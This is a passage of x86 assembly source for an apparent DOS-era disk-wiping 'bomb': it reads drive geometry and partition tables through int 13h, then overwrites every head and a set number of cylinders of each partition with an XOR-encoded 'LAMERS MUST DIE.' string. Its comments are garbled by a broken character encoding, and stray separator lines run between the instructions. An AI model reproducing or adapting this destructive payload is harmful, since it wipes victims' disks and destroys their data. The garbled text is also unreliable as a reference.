mov byte ptr ds:[offset disk - offset bomb + 600h], dl
|
|||
|
mov byte ptr ds:[offset disk1 - offset bomb + 600h], dl
|
|||
|
mov ah, 8
|
|||
|
int 13h
|
|||
|
mov byte ptr ds:[heads - offset bomb + 600h], dh
|
|||
|
and cl, 63
|
|||
|
mov byte ptr ds:[sectors - offset bomb + 600h], cl
|
|||
|
push dx
|
|||
|
|
|||
|
mov bx, 0a00h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>⥭<EFBFBD><E2A5AD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> 室<> <20><><EFBFBD><EFBFBD> <20> BX <20>㤥<EFBFBD> <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 512 -
|
|||
|
; ⠪ <20><><EFBFBD> <20><><EFBFBD>ᨬ<EFBFBD><E1A8AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD>⠢<EFBFBD><E2A0A2> 57 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov di, 500h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD> int 13h (64 <20><>᪠)
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>ᨢ<EFBFBD><E1A8A2> <20><>室<EFBFBD><E5AEA4> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><>᪨, <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD> int 13h
|
|||
|
push si ; <20><><EFBFBD>४<EFBFBD><E0A5AA><EFBFBD><EFBFBD> <20>室 <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push cx
|
|||
|
|
|||
|
xor ax, ax ; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>࠭<EFBFBD><E0A0AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR
|
|||
|
stosw
|
|||
|
inc ax
|
|||
|
stosw
|
|||
|
|
|||
|
call getpart ; <20><>室 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> bx <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>ࠣ<EFBFBD><E0A0A3><EFBFBD><EFBFBD><EFBFBD> - 800h
|
|||
|
push di ; <20><><EFBFBD>࠭塞 㪠<><E3AAA0>⥫<EFBFBD> <20><> 墮<><E5A2AE> ᯨ᪠ <20><>ࠬ<EFBFBD><E0A0AC>
|
|||
|
mov di, bx ; <20> DI <20>㤥<EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
shl di, 4 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> ᬥ饭<E1ACA5><E9A5AD> 8000h
|
|||
|
push di ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
@@nextword:
|
|||
|
mov si, offset lmd - offset bomb + 600h
|
|||
|
mov cx, 16
|
|||
|
@@nextchar:
|
|||
|
lodsb
|
|||
|
xor al, xor_value
|
|||
|
stosb
|
|||
|
loop @@nextchar
|
|||
|
dec bx
|
|||
|
jne @@nextword
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop bx ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop si ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD>
|
|||
|
mov cx, si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塞 <20><> <20><><EFBFBD><EFBFBD>ࠥ<EFBFBD><E0A0A5><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub cx, 500h
|
|||
|
shr cx, 2
|
|||
|
|
|||
|
std
|
|||
|
lodsw ; <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
@@nextpart:
|
|||
|
push cx ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD>稪
|
|||
|
|
|||
|
lodsw ; <20><>६ <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
mov cx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/ᥪ<><E1A5AA><EFBFBD>
|
|||
|
lodsw
|
|||
|
mov dx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
disk = $ + 1
|
|||
|
mov dl, 80h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ࠥ<EFBFBD><E0A0A5><EFBFBD><EFBFBD> <20><>᪠
|
|||
|
|
|||
|
mov si, killed_cyl ; <20><><EFBFBD><EFBFBD>稪 㡨<><E3A1A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD>
|
|||
|
|
|||
|
; <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0> ࠧ<><E0A0A7><EFBFBD>
|
|||
|
@@nexthead:
|
|||
|
sectors = $ + 1
|
|||
|
mov ax, 310h ; !!!!
|
|||
|
int 13h
|
|||
|
inc dh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
heads = $ + 2
|
|||
|
cmp dh, 16 ; <20><><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD><EFBFBD> ?
|
|||
|
jne @@nexthead
|
|||
|
|
|||
|
add cx, 64 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>騩 樫<><E6A8AB><EFBFBD><EFBFBD>
|
|||
|
xor dh, dh ; <20><>稭<EFBFBD><E7A8AD><EFBFBD> <20> <20>㫥<EFBFBD><E3ABA5><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
dec si
|
|||
|
jne @@nexthead
|
|||
|
|
|||
|
pop cx ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>稪
|
|||
|
loop @@nextpart ; <20> <20><><EFBFBD>⨬ 横<> <20><> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
pop dx
|
|||
|
retn
|
|||
|
destroy endp
|
|||
|
|
|||
|
|
|||
|
lmd:
|
|||
|
irpc ch, <LAMERS MUST DIE.>
|
|||
|
db '&ch' xor xor_value
|
|||
|
endm
|
|||
|
|
|||
|
bomb endp
|
|||
|
|
|||
|
|
|||
|
buffer: ; <20> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> mbr
|
|||
|
dw offset buffer - offset bomb
|
|||
|
cseg ends
|
|||
|
end start
|